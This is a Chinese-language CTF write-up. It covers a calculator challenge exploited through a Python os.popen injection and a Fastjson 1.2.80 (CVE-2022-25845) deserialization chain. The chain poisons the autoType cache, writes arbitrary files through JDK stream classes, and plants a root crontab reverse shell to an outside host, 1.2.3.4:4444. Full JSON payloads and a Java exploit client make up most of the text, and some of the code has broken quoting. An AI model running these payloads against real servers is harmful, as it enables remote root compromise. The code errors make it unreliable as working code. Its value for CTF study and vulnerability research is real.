计算器
执行数字运算的部分(eval)被锁住了不让用。打开前端,查看器发现
直接修改,去掉disable就可以进行ssti命令执行
__import__('os').popen('env').read()
FastJ
参考文章
2025第三届京麒CTF挑战赛 writeup by Mini-Venom | CTF导航
发现fastj版本号是 1.2.80 这个版本的fastjson本身就有问题
CVE-2022-25845 : https://github.com/luelueking/CVE-2022-25845-In-Spring
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
阅读源码发现
关键代码:
public class IndexController {
@RequestMapping({"/"})
public Object fastj(String json) {
if (json == null) {
return JSON.toJSONString("json is null");
}
try {
return JSON.parse(json);
} catch (Exception e) {
return e.toString();
}
}
private void getflag() throws FileNotFoundException {
new FilterFileOutputStream("/flag", "/");
}
}
//跟踪这个FilterFileOutputStream
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
public class FilterFileOutputStream extends FileOutputStream {
public FilterFileOutputStream(String name, String prefix) throws FileNotFoundException {
super(name);
if (!name.startsWith(prefix))
return;
}
}
发现自定义了类FilterFileOutputStream
类
构造函数调用 super(name)
➜ 调用了 FileOutputStream(String name)
➜ 会尝试打开或新建这个文件 那么可以联想到任意文件写,看看是否有可能:
试探
1.方向
在 Java 反序列化攻击中,“任意文件读写”是一个强力利用目标,一些反序列化利用链中会用到
commons-io.jar
库,它提供了很多对InputStream
/OutputStream
的封装,便于攻击者使用。但这道题目环境是 JDK11,未提供 commons-io,所以你得想办法OutputStream下的子类实现任意文件写
2.试探 autoType
是否开启(why:它允许通过 @type
来指定类型进行反序列化)
发送:
{
"@type":"java.lang.Exception",
"detailMessage":"test"
}
这是一个“探针”请求,如果服务端返回:
java.lang.Exception: test
说明:服务端Fastjson开启了 AutoType
注:fastjson 从
1.2.68
开始引入白名单,在1.2.80
中更加严格。只有在 白名单 中的类才能通过@type
被反序列化,由于FilterFileOutputStream
不在白名单中,无法被正常反序列化
3.无法被正常反序列化那么怎么办呢
CVE-2022-25845:CVE-2022-25845 - Fastjson RCE 漏洞分析
可以通过 Throwable 子类作为马甲,在字段里嵌套引用任意类!
why:
Fastjson 的反序列化流程中有这样一段逻辑:
if (Throwable.class.isAssignableFrom(clazz)) {
deserializer = new ThrowableDeserializer(this, clazz);
}
对于 Throwable
类型的类,会使用专门的 ThrowableDeserializer
。
这个类有两个特性:
-
尝试调用多个构造器,如
Exception(String message, Throwable cause)
等 -
字段赋值不做严格类型限制
即便字段
x
是某个复杂类型,只要 JSON 中提供一个对象,它就会尝试用setX()
或直接赋值,这样就形成了非常“宽松”的自动反序列化流程。
官方poc(的里面):
{
"@type": "java.lang.Exception",
"@type": "com.example.fastjson.poc20220523.Poc20220523",
"name": "calc"
}
其中 Poc20220523
是攻击者自定义的类(必须存在于目标类路径中):
public class Poc20220523 extends Exception {
public void setName(String str) {
Runtime.getRuntime().exec(str); // RCE
}
}
Fastjson 会:
- 实例化
Poc20220523
,调用构造器(默认/带 message) - 调用
setName("calc")
,成功触发 RCE
官方poc
查看官方GitHub - luelueking/CVE-2022-25845-In-Spring: CVE-2022-25845(fastjson1.2.80) exploit in Spring Env!的poc利用说明:
把java.io.InputStream 加入 fastjson autotype 缓存
{
"a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\", \"p\": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonParser\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\", \"in\": {}}",
"d": {
"$ref": "$.c.c"
}
}
其核心链条:
Throwable(核心的类) bypass: InputCoercionException
└─ contains → UTF8StreamJsonParser
└─ field `in` → InputStream
Fastjson 在构造这些类时会顺便初始化其字段类型(如 in: InputStream
),从而将 InputStream
加入 autoType 缓存
autoType 缓存机制?
Fastjson 反序列化时为了提升性能,会把成功加载过的类型(即使原本未在白名单中),存入一个缓存 map,比如:
Map<String, Class<?>> autoTypeCache = new ConcurrentHashMap<>();
⚠️ 这个缓存是“全局有效”的,一旦加入,后续任意地方调用这个类型就不会再检查白名单了!
类似以上
本题我们的思路:
OutputStream Gadget
- 继承 Throwable
- 有字段指向某个含
OutputStream
成员的类(FilterFileOutputStream) - 类路径没有被 Fastjson 拦截(通过缓存,绕过了 autoType 检查)
寻找:在源码的BOOT-INF/lib/
中查看项目依赖,参考网上大师傅的寻找结果
发现
jackson
生态全套,其中jackson-core-2.13.2.jar
中包含UTF8JsonGenerator
,可构造OutputStream
缓存链使用Mini-Venom师傅构造的gadget
UTF8JsonGenerator JsonGenerator JsonGenerationException Exception
step1 加入缓存
payload
{
"a": "{
\"@type\": \"java.lang.Exception\",
\"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\",
\"g\": {}
}",
"b": { "$ref": "$.a.a" },
"c": "{
\"@type\": \"com.fasterxml.jackson.core.JsonGenerator\",
\"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\",
\"out\": {}
}",
"d": { "$ref": "$.c.c" }
}
得到回显,说明绕过了“AutoTypeCheck”
机制, 间接加载一次OutputStream , 加入 autoType 缓存 供后续用
step2 可执行 write()写入
利用链:
JDK 的标准类 InflaterOutputStream
和 MarshalOutputStream
能在反序列化期间自动调用 write()、并把 payload 写入磁盘
思路如下
Fastjson.parse(payload)
↓
实例化 sun.rmi.server.MarshalOutputStream
↓
readObject() 被自动调用
↓
→ out.write(...) 被执行 -> 触发点
↓
InflaterOutputStream.write()
→ 解压 input.array
→ 将内容写入 out(FilterFileOutputStream)
MarshalOutputStream
(继承了ObjectOutputStream
(为了out.write(...))
是利用链的入口触发点,在 JDK RMI 模块下:
public class MarshalOutputStream extends ObjectOutputStream {
protected MarshalOutputStream(OutputStream out) { ... }
// 它的 readObject 会触发 OutputStream.write()
}
它是个 ObjectOutputStream
的子类,反序列化 MarshalOutputStream
时,它会在 readObject()
内部执行 out.write(...)
:
// MarshalOutputStream
readObject(ObjectInputStream in) {
...
out.write(...); // InflaterOutputStream.write()
}
这个 out
就用来包装 InflaterOutputStream
(下文),从而触发解压并写入文件
InflaterOutputStream
(包装输出流,让数据写入设置的out
文件流中)
标准 JDK 类,设计用于压缩数据流的解压输出类。它有结构:
public class InflaterOutputStream extends FilterOutputStream {
protected OutputStream out;
protected Inflater inf;
protected byte[] buf;
}
重点:其 write()
方法会:
- 从
inf.input
取数据解压 - 将解压后的内容写入
out.write(...)
如果提前设置好:
inf.input.array
是 base64 后的压缩数据(即攻击者可控)inf.limit
是解压后长度out
是FilterFileOutputStream
实例
那么只要反序列化过程中调用一次
write()
,就等于写入任意内容到任意文件!
step3 构造payload
{
"@type": "java.io.OutputStream",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "com.app.FilterFileOutputStream", ← 自定义类
"name": "/tmp/test",
"prefix": "/"
},
"infl": {
"input": {
"array": "<base64压缩数据> 见后文",
"limit": <解压后的长度>
}
},
"bufLen": "100"
},
"protocolVersion": 1
}
array是一个压缩流,生成array方式如下:
String input = "123123123123"; //你要写入文件的内容
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream)) {
//Java 提供的压缩工具类,底层用的是 zlib 算法
deflaterOutputStream.write(input.getBytes("UTF-8"));
//压缩写入!
}
String encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
//将压缩后的字节数据编码成 Base64,用于写入 JSON
int leng = byteArrayOutputStream.toByteArray().length;
System.out.println(encoded);
limit设置为解压缩后byte的length。
step 4 定时任务反弹shell
测试时发现远程可以在/root目录下写文件,判断权限为root。写入一句话反弹 shell 的定时任务脚本到 /etc/crontab
,让系统每分钟自动执行反弹 shell 指令!
什么是 crontab 定时任务?
/etc/crontab
是 Linux 系统的定时任务调度器配置文件,格式类似如下:
* * * * * root bash -i >& /dev/tcp/1.2.3.4/4444 0>&1
每分钟以 root 身份执行一次命令
命令为:反弹 shell 到攻击者 IP(1.2.3.4),端口 4444
最终,任意文件写入链 + 定时任务反弹 shell 利用poc
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.util.LinkedMultiValueMap;
import org.springframework.web.client.RestClientException;
import org.springframework.web.client.RestTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;
publicclass POC {
static String target = "http://localhost:8080/";
public static Object sendJson(String payload) {
try {
RestTemplate restTemplate = new RestTemplate();
HttpHeaders httpHeaders = new HttpHeaders();
httpHeaders.setContentType(MediaType.APPLICATION_FORM_URLENCODED);
LinkedMultiValueMap<Object, Object> map = new LinkedMultiValueMap<>();
map.add("json", payload);
HttpEntity<LinkedMultiValueMap<Object, Object>> request = new HttpEntity<>(map, httpHeaders);
return restTemplate.postForObject(target, request, String.class);
} catch (RestClientException e) {
return"null";
}
}
public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException, InterruptedException {
// 1. add inputStream to fastjson cache
String payload1 = new String(Files.readAllBytes(Paths.get("payloads/step1.json")));//见后文
sendJson(payload1);
System.out.println(payload1);
String path = "/etc/crontab";
//定时任务反弹 写入到你指定的路径上(/etc/crontab)
String input = "String input = "* * * * * root bash -i >& /dev/tcp/1.2.3.4/4444 0>&1\n";
//定时任务反弹,在这里写入input
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream)) {
deflaterOutputStream.write(input.getBytes("UTF-8"));
}
String encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
int leng = byteArrayOutputStream.toByteArray().length;
String payload2 = new String(Files.readAllBytes(Paths.get("payloads/step3-.json"))); //见后文
payload2 = payload2.replace("{ABC}", encoded).replace(""{ABCD}"",String.valueOf(leng)).replace("{path}",path);
sendJson(payload2);
System.out.println(payload2);
}
上文代码提到的 payload就是前文的缓存和写入文件两步
step1.json
{
"a": "{ "@type": "java.lang.Exception", "@type": "com.fasterxml.jackson.core.JsonGenerationException", "g": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ "@type": "com.fasterxml.jackson.core.JsonGenerator", "@type": "com.fasterxml.jackson.core.json.UTF8JsonGenerator", "out": {}}",
"d": {
"$ref": "$.c.c"
}
}
step3-.json
{
"@type": "java.io.OutputStream",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "com.app.FilterFileOutputStream",
"name": "{path}",
//{path} → /etc/crontab
"prefix": "/"
},
"infl": {
"input": {
"array": "{ABC}",
"limit": "{ABCD}"
//{ABC} → 替换为压缩后内容的 base64 字符串
//{ABCD} → 替换为压缩后的字节长度
}
},
"bufLen": "100"
},
"protocolVersion": 1
}
Comments NOTHING